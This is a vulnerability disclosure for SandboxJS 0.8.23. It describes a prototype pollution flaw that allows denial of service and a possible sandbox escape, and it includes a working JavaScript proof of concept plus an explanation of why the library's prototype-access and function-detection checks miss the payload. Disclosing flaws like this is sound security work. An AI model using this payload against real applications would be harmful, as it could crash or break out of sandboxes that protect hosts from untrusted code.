nyariv sandboxjs
0.8.23
SandboxJS version 0.8.23 was discovered to contain a prototype pollution vulnerability which can cause a Denial of Service (DoS) and potentially escape sandbox via injecting arbitrary properties.
var Sandbox = require("@nyariv/sandboxjs").default;
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
const code = `
"".sub.__proto__.__proto__.__defineGetter__('polluted', {}.constructor.constructor("return true"));
`;
const scope = { myTest: "test" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run();
console.log("After Attack: ", JSON.stringify(victim.__proto__));
SandboxJS perform prototype access checking in dist/node/executor.js#L226.
"".sub return function of sub. While SandboxJS check with __proto__ of "".sub, it will go to branch dist/executor.js#L225 since type of sub.__proto__ is function.
Its hasOwnProperty of __proto__ return false and thus no SandboxError is catched. Similarly, no SandboxError is catched during the checking of prototype __proto__ access of "".sub.__proto__
Likewise, the payload works well with (()=>"") in replace of "".sub. While payload wont work with {}.__proto__ because its not a function and fall into branch dist/executor.js#L238, and fail to bypass the whitelisting
SandboxJS use Regex to detect any function declared in the code dist/node/parser.js#L261-263 and replace it with sandboxed version here dist/executor.js#L26. Since payload {}.constructor.constructor("return true") is not catched by any regex expression, scope is not defined during the execution of executeTree in sandboxed function and, thus, can be executed without any error.